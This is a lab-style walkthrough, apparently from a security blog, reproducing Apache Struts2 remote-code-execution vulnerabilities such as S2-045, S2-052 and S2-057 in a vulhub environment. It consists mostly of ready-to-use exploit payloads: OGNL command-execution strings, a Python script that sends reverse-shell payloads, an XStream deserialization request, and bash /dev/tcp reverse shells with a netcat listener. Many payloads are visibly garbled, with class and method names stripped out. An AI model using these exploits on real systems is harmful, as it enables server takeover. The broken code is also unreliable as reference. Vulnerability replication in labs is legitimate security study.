Location>code7788 >text

Struts2 Vulnerability Replication

Popularity:861 ℃/2024-11-21 23:11:01

Struts2 Vulnerability Replication

  • Range environment:/vulhub/struts2Mostly OGNL injection
What it is:
Struts2 is a web application framework based on the MVC design pattern
Recognize:
1. through the page suffix to judge , such as .do or .action
2.Judge by whether /struts/ exists or not, but need devMode is true.

Struts2-045(CVE-2017-5638)

What is it:
Remote command execution is possible when using the file upload feature based on the Jakarta plugin. A malicious user can trigger the vulnerability by modifying the Content-Type value in the HTTP request header when uploading a file to execute system commands.

Affected Versions:
Struts2.3.5-Struts2.3.31
Struts2.5-Struts52.5.10
  1. access address
image-20241118155644339
  1. Upload a file and grab the package, change the Content-Type to the following, replace thewhoami
Content-Type:"%{(#nike='multipart/form-data').(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['.']).(#ognlUtil=#(@.@class)).(#().clear()).(#().clear()).(#(#dm)))).(#cmd='whoami').(#iswin=(@@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (#cmds)).(#(true)).(#process=#()).(#ros=(@.@getResponse().getOutputStream())).(@@copy(#(),#ros)).(#())}"
image-20241118162555157
  1. Construct a bounce shell, note that java must be base64 encoded to construct a bounce shell.

Online coding site:/rce/

# Initialization statements
bash -i >& /dev/tcp/192.168.10.23/6666 0>&1

# base64 encoding
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwLjIzLzY2NjYgMD4mMQ==|base64 -d|bash -i
  1. The attacker listens on port 6666 and replaces whoami with a base64-encoded bounce shell statement
nc -lvvp 6666
image-20241118162741736

struts2-059(CVE-2019-0230)

What is it?
Apache Struts framework , will be specific tag attribute values , such as id attribute for secondary parsing , so an attacker can pass will be in the tag attribute when the rendering of the OGNL expression parsed again , resulting in OGNL expression injection . This may result in remote code execution.

Affected Versions
Struts 2.0.0 - Struts 2.5.20
  • Utilizing the script bounce shell
import requests
import base64

# Target machine address URL
target_url = "http://target droneip:8080/"

# bounceshell ground attack aircraftIP
reverse_ip = "ground attack aircraftip"

# bounceshell ground attack aircraft端口
reverse_port = "6666"

bash_reverse_shell = "bash -i >& /dev/tcp/" + reverse_ip + "/" + reverse_port + " 0>&1"

data1 = {
 "id": "%{(#context=#attr[''].context).(#container=#context['.']).(#ognlUtil=#(@.@class)).(#('')).(#(''))}"}

data2 = {
 "id": "%{(#context=#attr[''].context).(#(@@DEFAULT_MEMBER_ACCESS)).(@@getRuntime().exec('bash -c {echo," + str(base64.b64encode(bash_reverse_shell.encode('utf-8')), "utf-8") +"}|{base64,-d}|{bash,-i}'))}"}

res1 = (target_url, data=data1)
res2 = (target_url, data=data2)
  • Running Scripts
python3 
  • Successfully received shell
image-20241119121620492

struts2-057(CVE-2018-11776)

The value is true when the Struts2 configuration meets the following conditions
the namespace attribute is not set on the element or a wildcard is used
namespace will be passed in by the user from the uri and computed as an OGNL expression, ultimately resulting in an arbitrary command execution vulnerability.

Versions affected:Less than or equal to Struts 2.3.34 and Struts 2.5.16.
  1. Grab a -GET request package and visit the following paths
# where ${(1+1)} must be URL-encoded

/struts2-showcase/${(1+1)}/
image-20241119171213820
  1. command to execute poc and change thewhoamican immediately (do sth)
/struts2-showcase/%24%7B%28%23dm%3D@@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%%27%%29.%28%23cr%3D%23ct%5B%.%27%5D%29.%28%23ou%3D%%28@.@class%29%29.%28%%28%%28%29%29.%28%%28%%28%29%29.%28%%28%23dm%29%29.%28%23w%3D%%28%.%22%%28%29%29.%28%%28@@toString%28@@getRuntime%28%%28%27whoami%27%%28%29%29%29%29.%28%%28%29%29%7D/
image-20241119171628989

struts2-053

Struts2 allows parsing of 0GNL expressions at the same time when using the Freemarker template lead l engine. As a result, the user input data itself is not parsed by OGNL, but because it is parsed once by Freemarker it becomes leave an expression that is parsed a second time by OGNL, leading to an arbitrary command execution vulnerability.
Versions affected: Struts 2.0.1 - Struts 2.3.33, Struts 2.5 - Struts 2.5.10
  • access page/, enter the following poc (There should be a space at the end.
%{(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['.']).(#ognlUtil=#(@.@class)).(#().clear()).(#().clear()).(#(#dm)))).(#cmd='id').(#iswin=(@@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (#cmds)).(#(true)).(#process=#()).(@@toString(#()))}
  • You can also bounce the shell
image-20241119172908723

struts2-052

The problem lies in the Struts2-Rest-Plugin plugin, which determines the type of packet passed in by the user based on the Content-Type or URI extension, where the parsing method xstream is able to introduce arbitrary objects by default (for versions prior to 1.0), so we can cause a remote command execution vulnerability by deserializing an arbitrary class. So, we can introduce arbitrary classes through deserialization to cause a remote command execution vulnerability, just need to find a gedget that works in the Struts2 library.
Versions affected: Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12
  • bp sends the following packet (note the host change)
POST /orders/3/edit HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/xml
Content-Length: 2415

<map>
  <entry>
    <>
      <flags>0</flags>
      <value class="..Base64Data">
        <dataHandler>
          <dataSource class="$XmlDataSource">
            <is class="">
              <cipher class="">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="">
                  <iter class="">
                    <iter class="$EmptyIterator"/>
                    <next class="">
                      <command>
                        <string>touch</string>
                        <string>/tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="$ContainsFilter">
                    <method>
                      <class></class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </>
    < reference="../"/>
  </entry>
  <entry>
    < reference="../../entry/"/>
    < reference="../../entry/"/>
  </entry>
</map>
  • See the return of 500
image-20241120131306142
  • Successfully create success in the target machine
image-20241120131353179
  • where the command execution keyword is, can be replaced with a bounce shell statement
<command>                        			<string>touch</string>                     <string>/tmp/success</string></command>
<command>
	<string>bash</string>
	<string>-c</string>
	<string>bash -i >&amp; /dev/tcp/your-ip/6666 0>&amp;1</string>
</command>
  • Bounce Shell
image-20241120131809041

struts2-048

Affected versions:2.0.0-2.3.32
  1. interviewshttp://your-ip:8080/integration/
image-20241120132252023
  1. In the GangsterName input box, enter payload
%{(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['.']).(#ognlUtil=#(@.@class)).(#().clear()).(#().clear()).(#(#dm)))).(#q=@@toString(@@getRuntime().exec('id').getInputStream())).(#q)}
  • Success!
image-20241120132537232
  1. You can also use the following payload, which must be captured using Burpsuite and url-encoded to the payload
%{(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['.']).(#ognlUtil=#(@.@class)).(#().clear()).(#().clear()).(#(#dm)))).(#cmd='id').(#iswin=(@@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (#cmds)).(#(true)).(#process=#()).(#ros=(@.@getResponse().getOutputStream())).(@@copy(#(),#ros)).(#())}
image-20241120143152137

struts2-046(CVE-2017-5638)

Affected Versions: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
  1. Upload a random file, grab the vulnerability point at filename and replace it with the following payload
filename="%{#context['
'].addHeader('X-Test',1+1)}\xb"
  • take note of: Enter between \x and b%00once againURL decode
image-20241120144409294
  1. Replace the following payload to implement command execution, which also needs to be truncated at 00 before b
%{(#nike='multipart/form-data').(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm) :((#container=#context['.']).(#ognlUtil=#(@..0gnlUtil@class)).(#().clear()).(#().clear()).(#(#dm)))).(#cmd='id').(#iswin=(@@getPropert y('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'',`/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (#cmds)).(#(true)).(#process=#()).(#ros=(@.@getResponse().getoutputStream())).(@@copy(#(),#ros)).(#())}b

struts2-045(CVE-2017-5638)

Affected Versions: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10
  • The point of vulnerability is in the POST request headerContent-TypeThe following poc:
Content-Type:"%{(#nike='multipart/form-data').(#dm=@@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['.']).(#ognlUtil=#(@.@class)).(#().clear()).(#().clear()).(#(#dm)))).(#cmd='whoami').(#iswin=(@@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new (#cmds)).(#(true)).(#process=#()).(#ros=(@.@getResponse().getOutputStream())).(@@copy(#(),#ros)).(#())}"
image-20241120161154759
  • Bouncing the shell works too!
image-20241120161419847

struts2_032(CVE-2016-3081)

Affected Versions: Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)
  • Visit the following path
?method:%23_memberAccess%3d%40ognl.0gn1Context%20%40DEFAULT_MEMBER_ACCESS%2c%23a%3d%40java.%40getRuntime%28%%28%%20%5B0%5D%%28%29%2c%23b%3dnew%%28%23a%29%2c%23c%3dnew%20%%28%23b%29%2c%23d%3dnew%20char%5B51020%5D%2c%%28%23d%29%2c%23kxlzx%3d%20%.%40getResponse%28%%28%29%2c%%28%23d%20%29%2c%&command=whoami

struts2_016

Affected versions: 2.0.0 - 2.3.15
  • To access the following uri, the content following the redirect needs to beURL encoding
redirect:${#context[""]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#(true),#(#_memberAccess,true),#a=@@getRuntime().exec("uname -a").getInputStream(),#b=new (#a),#c=new (#b),#d=new char[5000],#(#d),#genxor=#(".").getWriter(),#(#d),#(),#()}
image-20241121225649864